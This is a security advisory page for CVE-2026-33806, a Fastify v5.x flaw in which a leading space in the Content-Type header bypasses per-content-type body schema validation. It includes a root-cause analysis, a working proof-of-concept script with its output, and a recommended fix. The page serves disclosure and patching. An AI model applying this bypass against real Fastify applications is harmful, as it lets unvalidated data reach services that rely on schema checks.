CVE-2026-33806

HIGH7.5EPSS 0.11%

Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

發布日:2026/4/15修改日:2026/5/5

描述

### Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)). ### Details The vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently. **Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing: ```js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓ ``` **Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming: ```js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped! ``` The `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `""`, finds nothing, and skips validation entirely. **Regression source:** Commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to fix [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(';', 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression. ### PoC ```js const fastify = require('fastify')({ logger: false }); fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; }); (async () => { await fastify.ready(); // BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FST_ERR_VALIDATION // BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body); await fastify.close(); })(); ``` **Output:** ``` Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}} ``` ### Impact Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses: CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No **Recommended fix** — add `trimStart()` before the split in `getEssenceMediaType`: ```js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() } ```

受影響套件(1)

npm/fastify>= 5.3.2, < 5.8.5

CVSS 分數

來源	版本	嚴重程度	向量
osv	CVSS 3.1	HIGH7.5	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

描述

受影響套件(1)

CVSS 分數

參考連結(8)